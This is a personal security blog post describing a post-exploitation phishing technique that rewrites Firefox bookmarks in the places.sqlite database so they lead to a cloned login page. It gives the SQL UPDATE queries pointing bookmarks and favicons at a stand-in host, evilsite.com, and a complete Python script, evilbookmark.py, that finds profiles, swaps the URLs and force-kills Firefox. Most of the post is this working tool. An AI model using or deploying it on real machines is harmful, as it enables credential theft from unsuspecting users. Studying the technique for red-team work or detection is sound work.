23. Jan 2022 - Replacing Bookmarks for Fun and Profit
Evil Bookmarks - Abusing User Habits
This is a little post about an email from my bank that led to a post-exploit phishing method, that I haven’t heard of before. Since most environments detect attacks like Man-in-the-Middle or proxy stuff pretty easily, replacing browser bookmarks can be a way to abuse a user’s habits into submitting credentials. I suspect that most users will not look at the URL after clicking a trusted bookmark. Having a valid SSL certificate and a good clone can then be another road to Rome.
How it Started
This started with a simple e-mail from by bank. It was a yearly reminder of the dos and don’ts of online banking. Since I consider myself pretty educated on that topic I didn’t read it line by line. But one tip they gave scratched that one part of my brain. They said somewhat along:
Never save the online banking URL as a bookmark. Attackers could replace that bookmark with an evil login page or in case of updates the login URL could change.
I never thought about the attack vector of replacing bookmarks “on the fly”. So I did a little research…
How it Works
Firefox stores a bunch of information like bookmarks, history, or cookies inside an unprotected sqlite3 database. With a simple SQL query, I can find and replace the bookmark URLs. Since Firefox displays the favicons of set sites along the bookmark, a second query is needed to update the favicon URL.
Those databases are located inside your profile folder which on Windows is located at
%APPDATA%\Mozilla\Firefox\Profiles
The bookmarks are stored inside a sqlite3 database called places.sqlite
. Inside the database places.sqlite
there are many tables. We are interested in the table moz_places
. Inside this table there are all the bookmarks and if Firefox is running, all open tabs.
Tables | moz_places |
---|---|
![]() | ![]() |
To exclude the open tabs you can filter with:
WHERE foreign_count = 1
To replace the URL you run:
UPDATE moz_places WHERE foreign_count = 1 SET url = REPLACE(url,'http://site.com','http://evilsite.com')
To replace the favicon URL run:
UPDATE moz_places SET preview_image_url = 'http://evilsite.com/icon.png' WHERE foreign_count = 1 AND url LIKE '%http://evilsite.com%'
Firefox only loads the bookmarks at the start. So you either need to wait for your target to close and reopen the browser or kill it yourself.
Code
python evilbookmark.py -d -b "google.com" -r "duckduckgo.com" -i "https://duckduckgo.com/favicon.ico" -t
import os, subprocess, argparse, sqlite3, psutil, time
args = argparse.ArgumentParser(add_help=False)
args.add_argument("-h", "--help", action="store_true")
args.add_argument("-d", "--default", action="store_true")
args.add_argument("-p", "--profile", type=str, action="store", dest="custom_profile")
args.add_argument("-lp", "--listprofiles", action="store_true")
args.add_argument("-lb", "--listbookmarks", action="store_true")
args.add_argument("-b", "--bookmark", type=str, action="store", dest="bookmark_search")
args.add_argument("-r", "--replace", type=str, action="store", dest="bookmark_replace")
args.add_argument("-i", "--iconurl", type=str, action="store", dest="bookmark_iconurl")
args.add_argument("-t", "--terminate", action="store_true")
args.add_argument("-w", "--wait", action="store_true")
args = args.parse_args()
# help
# -h --help
helptext = """
usage: evilbookmark.py [OPTIONS]
-h, --help Shows this help text and exit
-d, --default Use the default Firefox profile
-p, --profile 'NAME' Use a custom profile
-lp, --listprofiles List all profiles
-lb, --listbookmarks List all bookmarks
(Requires '-d' or '-p')
-b, --bookmark 'URL' What bookmark to search for, ex. 'http://site.com'
(Requires '-d' or '-p' as well as '-r' and '-i')
-r, --replace 'URL' URL to be inserted into '-b' ex. 'http://evilsite.com'
(Requires '-d' or '-p' as well as '-b' and '-i')
-i, --iconurl 'URL' Icon URL to be inserted into '-b' ex. 'http://evilsite.com/icon.png'
(Requires '-d' or '-p' as well as '-b' and '-r')
-t, --terminate Terminates Firefox since bookmarks are only loaded on startup
-w, --wait Wait for Firefox to close
"""
def check_firefox():
"""
Check if FireFox installation folder exists
Returns the full installation path
"""
print("[*] Checking Firefox installation")
# the default firefox installation path
username = os.getenv("USERNAME")
firefoxpath = f"C:/Users/{username}/AppData/Roaming/Mozilla/Firefox"
if os.path.exists(firefoxpath):
print("[+] Firefox installation found")
return firefoxpath
else:
print("[!] No Firefox installation found")
return False
def list_profiles(firefoxpath):
"""
Lists all Firefox profiles
"""
print("[*] Listing all profiles")
profiles = []
# getting all files/folders inside profiles
for entry in os.listdir(firefoxpath + "/profiles/"):
# we only want folders
if os.path.isdir(firefoxpath + "/profiles/" + entry):
profiles.append(entry)
# if no profiles are found
if len(profiles) == 0:
print("[!] No profiles found")
exit()
for profile in profiles:
print(f"[+] {profile}")
return
def get_profile(firefoxpath):
"""
Returns the full path of a profile
"""
# check if user submitted both
if args.default and args.custom_profile:
print("[!] Please use '-d' or '-p' and not both")
print(helptext)
exit()
# use default profile
if args.default:
profile = get_default_profile(firefoxpath)
if profile:
print(f"[+] Using default profile '{profile}'")
return f"{firefoxpath}/profiles/{profile}"
else:
print("[!] No default profile found")
return False
elif args.custom_profile:
print("[*] Checking profile")
custom_profile = f"{firefoxpath}/profiles/{args.custom_profile}"
if os.path.exists(custom_profile):
print(f"[+] Using profile '{args.custom_profile}'")
return custom_profile
else:
print(f"[!] Profile '{args.custom_profile}' not found")
return False
else:
print("[!] Please use '-d' or '-p'")
print(helptext)
exit()
def get_default_profile(firefoxpath):
"""
Get the default profile from the profiles.ini file in the Firefox directory
Returns the profile folder name
"""
# check for the ini file
if not os.path.exists(firefoxpath + "/profiles.ini"):
return False
# open the ini file
with open(firefoxpath + "/profiles.ini") as inifile:
content = inifile.readlines()
# iterate thru the lines
for line in content:
if "Default=Profiles" in line:
# format = "Default=Profiles/asdf1234.default" so we split after /
profile = line.split("/")[1]
inifile.close()
# remove the newline at the end
return profile.replace("\n", "")
# if line is not found
inifile.close()
return False
def list_bookmarks(profile):
"""
Lists all bookmarks of a profile
"""
print("[*] Listing all bookmarks")
# connect to database places.sqlite
connection = sqlite3.connect(profile + "/places.sqlite")
# set cursor
cursor = connection.cursor()
# table = moz_places
# since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
query = "SELECT url FROM moz_places WHERE foreign_count = 1 ORDER BY url"
# execute query
response = cursor.execute(query)
for data in response:
for url in data:
# print urls
print(f"[+] {url}")
# close connection
cursor.close()
connection.close()
return
def search_bookmarks(profile, bookmark):
"""
Will search for a bookmark inside a profile
"""
print(f"[*] Searching for bookmarks like '{bookmark}'")
# connect to database places.sqlite
connection = sqlite3.connect(profile + "/places.sqlite")
# set cursor
cursor = connection.cursor()
# since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
query = (
"""SELECT url FROM moz_places WHERE foreign_count = 1 AND url LIKE '%"""
+ bookmark
+ """%' ORDER BY url"""
)
# execute query
response = cursor.execute(query)
for data in response:
for url in data:
# print urls
print(f"[+] {url}")
# close connection
cursor.close()
connection.close()
return
def replace_bookmarks(profile, bookmark, replacewith):
"""
Will replace a bookmark inside a profile
"""
print(f"[*] Replacing '{bookmark}' with '{replacewith}'")
# connect to database places.sqlite
connection = sqlite3.connect(profile + "/places.sqlite")
# set cursor
cursor = connection.cursor()
# since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
# UPDATE TABLE SET COLUMN = REPLACE(COLUMN,OLDSTRING,NEWSTRING)
query = (
"""UPDATE moz_places SET url = REPLACE(url,\'"""
+ bookmark
+ "','"
+ replacewith
+ """') WHERE foreign_count = 1 """
)
try:
# execute query
cursor.execute(query)
# commit changes
connection.commit()
# on error
except sqlite3.Error as error:
print("[!] Query failed")
# close connection
cursor.close()
connection.close()
return False
# close connection
cursor.close()
connection.close()
return
def replace_icons(profile, replacewith, iconurl):
"""
Will replace a icon inside a profile
"""
print(f"[*] Replacing icon URLs from '{replacewith}' with '{iconurl}'")
# connect to database places.sqlite
connection = sqlite3.connect(profile + "/places.sqlite")
# set cursor
cursor = connection.cursor()
# since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
query = (
"""UPDATE moz_places SET preview_image_url = \'"""
+ iconurl
+ """\' WHERE foreign_count = 1 AND url LIKE '%"""
+ replacewith
+ """%\'"""
)
try:
# execute query
cursor.execute(query)
# commit changes
connection.commit()
# on error
except sqlite3.Error as error:
print("[!] Query failed")
# close connection
cursor.close()
connection.close()
return False
# close connection
cursor.close()
connection.close()
print("[+] Done")
return
# kill the firefox process
def terminate():
print("[*] Terminating Firefox")
p = subprocess.Popen(
"taskkill /f /im firefox.exe",
stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
)
return
# watcher function
def waitforclose():
print("[*] Waiting for Firefox to close")
while "firefox.exe" in (i.name() for i in psutil.process_iter()):
time.sleep(5)
print("[+] Firefox not running, executing changes")
return
def main():
# show help
if args.help:
print(helptext)
exit()
# check for windows
if not (os.name == "nt"):
print("[!] This script was made for Windows")
exit()
# if -lp --listprofiles do only list_profiles and exit
if args.listprofiles:
firefoxpath = check_firefox()
list_profiles(firefoxpath)
exit()
# if -lb --listbookmarks do only list_bookmarks and exit
elif args.listbookmarks:
firefoxpath = check_firefox()
profile = get_profile(firefoxpath)
list_bookmarks(profile)
exit()
# check for -t and -w
if (args.terminate) and (args.wait):
print("[!] Please only use '-t' or '-w' and not both")
print(helptext)
exit()
# search and replace
if not (args.listprofiles) or not (args.listbookmarks):
print("[*] Preparing to search and replace")
# check if -b, -r or -i empty
if (
not (args.bookmark_search)
or not (args.bookmark_replace)
or not (args.bookmark_iconurl)
):
print("[!] Please use '-b', '-r' and '-i'")
print(helptext)
exit()
# get firefox path
firefoxpath = check_firefox()
# get profile path
profile = get_profile(firefoxpath)
# check if bookmarks exists
search_bookmarks(profile, args.bookmark_search)
# if user wanted to wait we wait here
if args.wait:
waitforclose()
# replace bookmarks
replace_bookmarks(profile, args.bookmark_search, args.bookmark_replace)
# replace icon url
replace_icons(profile, args.bookmark_replace, args.bookmark_iconurl)
# terminate firefox if selected
if args.terminate:
terminate()
if __name__ == "__main__":
main()